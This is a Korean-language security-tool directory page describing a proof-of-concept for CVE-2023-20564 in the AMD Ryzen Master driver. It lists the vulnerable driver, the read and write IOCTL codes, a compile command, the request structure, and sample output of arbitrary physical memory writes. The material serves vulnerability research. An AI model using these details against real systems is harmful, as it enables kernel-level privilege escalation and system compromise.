Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-20564 — CVE-2023-20564에 대한 개념 증명 익스플로잇으로, AMD Ryzen Master 드라이버 IOCTL 핸들러를 통해 임의의 물리 메모리 읽기/쓰기를 시연하며 Windows에서 권한 상승을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/ntgabrielgomes/cve-2023-20564
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationPenetration TestingHardware SecurityBinary Exploitation
GitHubntgabrielgomes/cve-2023-20564

CVE-2023-20564

CVE-2023-20564에 대한 개념 증명 익스플로잇으로, AMD Ryzen Master 드라이버 IOCTL 핸들러를 통해 임의의 물리 메모리 읽기/쓰기를 시연하며 Windows에서 권한 상승을 가능하게 합니다.

저장소 보기
2037개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-20564 - AMD Ryzen Master Driver 물리 메모리 접근 PoC

CVSS Platform

개요

이 저장소에는 AMD Ryzen Master Driver의 취약점 CVE-2023-20564를 시연하는 개념 증명(PoC) 이 포함되어 있습니다. 이 취약점으로 인해 권한이 없는 사용자가 임의의 물리 메모리를 읽고 쓸 수 있으며, 잠재적인 권한 상승 및 시스템 손상으로 이어질 수 있습니다.

취약점 세부 정보

  • CVE ID: CVE-2023-20564
  • CVSS 점수: 8.8 (높음)
  • 공급업체: AMD
  • 제품: AMD Ryzen Master Driver
  • 영향받는 버전: AMD Ryzen Master 소프트웨어의 여러 버전
  • 영향: 권한 상승으로 이어지는 물리 메모리 읽기/쓰기 접근

기술 설명

AMD Ryzen Master 드라이버(AMDRyzenMasterDriverV17.sys)는 IOCTL 핸들러에서 불충분한 검증을 수행합니다. 구체적으로는 다음과 같습니다:

  • 읽기 IOCTL: 0x81112F08 - 임의의 물리 메모리 읽기 허용
  • 쓰기 IOCTL: 0x81112F0C - 임의의 물리 메모리 쓰기 허용

드라이버는 다음을 제대로 검증하지 못합니다:

  1. 물리 메모리 주소
  2. 크기 경계
  3. 보호된 메모리 영역

이로 인해 악성 애플리케이션이 다음을 수행할 수 있습니다:

  • 중요한 커널 데이터 구조 읽기
  • 중요한 시스템 구성 요소 수정
  • Windows 커널 보호 우회
  • 커널 모드에서 임의 코드 실행 달성

필요한 파일

  • AMDRyzenMasterDriverV17.sys - 취약한 드라이버 파일
  • 이 저장소의 소스 코드

2. PoC 컴파일

root@kitploit:~
# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32

주요 구성 요소

메모리 구조

root@kitploit:~
typedef struct _AMDReadStructure {
    LARGE_INTEGER PhysAddr;     // Physical address to read
    LARGE_INTEGER SizeAndData;  // Size and data buffer
    CHAR Buffer[1];             // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;

핵심 함수

  • ReadPhysicalMemory() - 물리 메모리에서 읽기
  • WritePhysicalMemory() - 물리 메모리에 쓰기
  • TestReadWriteVerify() - 전체 테스트 시퀀스
  • InstallDriverService() - 드라이버 설치
  • StopAndRemoveDriverService() - 드라이버 정리

예제 출력

root@kitploit:~
===========================================
  AMD Ryzen Master Driver - Memory PoC    
===========================================

[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully

[*] Initializing driver connection...
[+] Driver connection established successfully

[!] TESTING READ/WRITE/VERIFY SEQUENCE

[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
    Read 8 bytes from 0x100000
    Data: 4D 5A 90 00 03 00 00 00

[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
    Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
    Wrote 8 bytes to 0x100000

[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
    Data: DE AD BE EF CA FE BA BE

[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!

기술 분석

IOCTL 핸들러 분석

취약한 드라이버는 두 가지 주요 IOCTL을 노출합니다:

  1. 물리 메모리 읽기 (0x81112F08)

    • 입력: 물리 주소 + 크기
    • 출력: 지정된 주소의 메모리 내용
    • 주소 범위 검증 없음
  2. 물리 메모리 쓰기 (0x81112F0C)

    • 입력: 물리 주소 + 크기 + 데이터
    • 출력: 없음
    • 보호된 메모리 영역 검증 없음

참고 자료

  • CVE-2023-20564 - MITRE
  • NVD 항목
  • AMD 보안 권고
  • Windows 드라이버 보안 모범 사례

기억하세요: 이 도구는 승인된 보안 테스트 전용입니다. 어떤 시스템에서 테스트하기 전에 항상 적절한 허가를 받으십시오.

도구 다운로드